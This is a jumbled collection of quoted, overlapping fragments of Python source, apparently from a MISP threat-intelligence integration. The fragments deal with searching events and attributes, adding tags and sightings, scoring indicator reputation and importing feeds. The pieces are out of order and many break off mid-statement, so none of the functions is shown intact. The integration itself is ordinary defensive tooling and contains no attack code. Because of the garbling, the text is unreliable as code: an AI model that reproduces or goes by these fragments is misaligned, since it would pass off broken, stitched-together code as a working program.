'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID',", "page and page < 0: raise DemistoException(\"page should be zero", "attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def", "the tags ids (attribute tags and event tags). Args: value", "event, depends on the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] =", "back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes =", "`{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\"Removing the required tag", "human_readable = f'Tag {tag} has been successfully added to attribute", "can use the command search-attributes in order to get the", "def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag ids (each one", "EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] # there", "others that may exist\" else: pagination_message += f\"Showing page {page}\"", "= convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips:", "None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if", "\"\"\"Sending object to MISP and returning outputs Args: obj: object", "response. This function goes over all the attributes that found", "PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added to", "if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string(", "not att_id: raise DemistoException('ID or UUID not specified') sighting_args =", "MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An", "outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}] is", "[ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting", "the attributes amount, we sort the attributes list by the", "this list to include only the ID and Name fields.", "'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID',", "set(), set() found_related_events = {} if not attributes_list: return None", "common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot", "if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in", "PYMISP into readable response, for more information and examples please", "= event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in", "id and deletes it. \"\"\" event_id = demisto_args.get('event_id') response =", "None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def", "wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object", "misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events #", "if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if", "DemistoException( f'None of required arguments presents. command {demisto.command()} requires one", "https://www.misp-project.org/feeds/ feed format must be MISP. \"\"\" headers = {'Accept':", "a parsed output in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list", "the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return {", "following logic. Indicators of attributes and Events that: * have", "event_highlights = [] for event in response: event_tags = event_to_human_readable_tag_list(event)", "been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\"", "UUID belongs to an attribute (True) or event (False). \"\"\"", "added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response),", "warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials')", "the information about the attributes. \"\"\" response_object = copy.deepcopy(response) if", "for tag_id in suspicious_tag_ids if tag_id not in common_ids} return", "[{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score':", "in MISP: \\nError message: {response}') else: human_readable = f'Event {event_id}", "= tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids)", "to connect to MISP because of a NewConnectionError, ' 'Please", "CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params =", "elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args))", "= event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event", "else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list,", "list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id,", "indicator value (an IP address, email address, domain, url or", "pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-events", "Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for", "misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"] for", "= build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id", "key in events[i]} events[i]['RelatedEvent'] = [] # there is no", "else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if", "= 1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings'", "given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute:", "re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query,", "can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'},", "= [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for", "'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as", "= demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance =", "configured as suspicious will be scored 2 (i.e suspicious). *", "dict): \"\"\"Creating event in MISP with the given attribute args\"\"\"", "ids. Some tags have a field called inherited. When it", "malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results =", "The given url: {value} is not valid\") if dbot_type ==", "only the ID and Name fields. In addition, returns set", "star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ] def", "value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights =", "configured as malicious will be scored 3 (i.e malicious). *", "try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module':", "of event search returned from MISP to the context output", "in pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:',", "raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\"Removing", "str): \"\"\" Examples are available in UT: test_build_misp_complex_filter. For more", "def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids =", "the tags (event ones and the event's attribute tags ones", "related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events", "{'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object", "event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response:", "(str): The tag that was scored as malicious or suspicious.", "one of it's tags. If so, the event will be", "describes MISP object Returns: list: list containing dicts that GenericObjectGenerator", "obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id,", "in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects =", "if the threat level id is in [1,2,3]. Otherwise, the", "if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response:", "args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0 if", "and set the event's details. \"\"\" event = MISPEvent() event.distribution", "command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability,", "be recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit", "outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None,", "f\"Error: An event with the given id: {event_id} was not", "level id) about all the events that include the indicator", "ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [", "'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked':", "= DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please provide a valid", "import copy from pymisp.tools import FileObject from CommonServerPython import *", "dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available in UT:", "96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object =", "True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if", "the tag except PyMISPError: raise DemistoException(\"Adding the required tag was", "'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) ->", "found (after limit the attributes amount to the given limit)", "for example: https://www.misp-project.org/feeds/ feed format must be MISP. \"\"\" headers", "given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description')", "str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for", "tags (event ones and the event's attribute tags ones as", "Union[dict, requests.Response]) -> dict: \"\"\" Convert the response of event", "0) # field doesn't exist when this is an attribute", "'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID',", "demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value')", "attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args)", "key and the URL are correct\" in error: return_error('Unable to", "then calculates it's dbot score. The score is calculated by", "readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute',", "the event \"\"\" related_events = [] object_tags_list = object_data_dict.get('Tag', [])", "add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\"##", "list) -> List[dict]: \"\"\" Extracting errors raised by PYMISP into", "found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response", "function searches for the given attribute value in MISP and", "if demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format:", "attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')})", "'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info',", "last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) ->", "using the 'event' controller. \"\"\" args = prepare_args_to_search('events') page =", "for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] =", "return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value':", "'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete':", "if category: attribute_instance.category = category if value: attribute_instance.value = value", "is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has to", "== 'FILE': # hashFormat will be used only in output", "will be scored 3 (i.e malicious). * have tags which", "= event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event", "'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID',", "args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg", "keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids'", "added to event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',", "attribute_instance.category = category if value: attribute_instance.value = value if comment:", "described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text', 'last_seen', 'first_seen' ]", "dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found", "parameter\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command = demisto.command()", "requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str,", "malicious will be scored 3 (i.e malicious). * have tags", "domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id = demisto_args.get('event_id')", "'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object':", "'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else", "search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response,", "args = json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args)", "Tag ids should be recognised as malicious. suspicious_tag_ids (set): Tag", "which made the indicator to get that score found_related_events (dict):", "& set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if", "{ (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for", "received from an event object, meaning the tags are event's", "search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a MISP search over 'attributes'\"\"\"", "response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value", "there is no need in returning related event when searching", "'2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96},", "INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score,", "'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score,", "MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable", "{}).get('password')): raise DemistoException('Missing API Key. Fill in a valid key", "occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has been", "tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'):", "attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution':", "meaning the tags are event's ones. Otherwise, the data is", "= arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \"limit\",", "reliability=reliability, malicious_description=\"Match found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value)", "remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)):", "Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create a new MISP event", "complex query contains saved words: 'AND:', 'OR:' and 'NOT:' using", "Class in Pymisp. Args: args: dictionary describes MISP object Returns:", "convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\":", "None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag", "return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return", "'AND:', 'OR:' and 'NOT:' using ',' as delimiter for parameters", "= f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def", "was configured to be malicious is stronger than recognised as", "create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and", "if dbot_type == 'FILE': # hashFormat will be used only", "category: attribute_instance.category = category if value: attribute_instance.value = value if", "tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command:", "0 or not exists) it says that it is an", "'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score,", "was added to event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',", "= get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if", "readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params()", "e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed',", "event's tag. Otherwise (if it is set to 0 or", "CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response =", "[] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids,", "add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a domain object to", "response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i]", "attribute: {value} was added to event id {new_event.id}.\\n\" return CommandResults(", "is not a valid MISP feed. error: {e}') def add_object(event_id:", "MISP response (1546713469) and converts it to human readable format", "(after limit the attributes amount to the given limit) and", "\"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]:", "an event object, meaning the tags are event's ones. Otherwise,", "r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value',", "malicious one (as a tag that was configured to be", "nothing with warnings \"\"\" pass # Disable requests warnings urllib3.disable_warnings()", "event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for", "isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build,", "events should be found. Returns: list includes all the events", "MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value')", "url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port", "the indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes',", "list containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip':", "if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen", "for tag in tags_list: is_event_tag = tag.get('inherited', 0) # field", "and then calculates it's dbot score. The score is calculated", "-> Union[dict, list, str]: \"\"\" Replacing keys from MISP's format", "demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict):", "includes tags list. found_tag (str): The tag that was scored", "an attribute we would like to add it to tag_set_ids.", "elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args))", "type that got in \"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item)", "args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0 if", "build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current page size: {limit}\\n\"", "50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response:", "tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting all", "'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)),", "please change the given: '{tag}' id.\") except ValueError: raise DemistoException(f\"Tag", "MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category')", "dict, is_attribute=False): \"\"\" Function will remove tag to given UUID", "IP address: {value} is not valid\") if dbot_type == 'DOMAIN':", "more information please see build_complex_query in pymisp/api.py Args: demisto_query: complex", "'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url')", "= limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids,", "dict): \"\"\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url", "[ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag')", "event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute", "occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\"", "response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise", "+= f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-events returned", "dict): \"\"\" Gets an event id and deletes it. \"\"\"", "Unknown. note: - In case the same tag appears in", "controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type]", "Gets 2 sets which include tag ids. If there is", "Dict from urllib.parse import urlparse import urllib3 from pymisp import", "event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\",", "human_readable = f'Sighting \\'{sighting_type}\\' has been successfully added to attribute", "'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object':", "the search query when user set the arg 'compact' to", "r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and,", "'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [", "response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md", "True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids =", "{'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ]", "= set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in", "'Sighting', ] def extract_error(error: list) -> List[dict]: \"\"\" Extracting errors", "and Suspicious tag ids lists the indicator will be scored", "sure your MISP server url is correct.') if \"Please make", "using the operators is optional. if 'demisto_query' does not contains", "= demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if", "CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in error:", "\"\"\"given_object is attribute or event, depends on the called function\"\"\"", "args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips", "raise DemistoException(f\"An error was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable =", "query found returns the original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?'", "type (file, url, domain, email or ip). malicious_tag_ids (set): Tag", "SHA-1 or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value):", "'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit',", "the indicator Please see an example for a response in", "response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID:", "to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response", "= demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment =", "isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value')", "'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command", "more information and examples please see UT: test_extract_error. Args: error:", "\"\"\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build]", "response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has been successfully added to", "= demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag)", "in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace", "Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids", "Union[dict, list, str]: same object type that got in \"\"\"", "presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids):", "parameters and ';' as delimiter for operators. using the operators", "of responses from error section Returns: List[Dict[str, any]]: filtered response", "uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() #", "= [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None", "[ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url =", "attribute in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name')", "not valid\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value):", "'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in", "Please make sure the UUID exists.\") if is_attribute: response =", "one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets", "the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag", "page {page} out others that may exist\" else: pagination_message +=", "obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def", "MISP, ' 'Please make sure the API key is correct.')", "outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes found in MISP", "excluded from search-events output as the information is too big.", "def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches for all the", "one is str), and verify all the tags are valid", "event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info", "is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag in", "get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name,", "return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params", "= [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid',", "category if value: attribute_instance.value = value if comment: attribute_instance.comment =", "'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date':", "ids set and will be stayed only in the malicious", "is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator", "len(events)): # Filter object from keys in event_args events[i] =", "V3]: command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids", "'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete',", "= argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit", "be zero or a positive number\") if 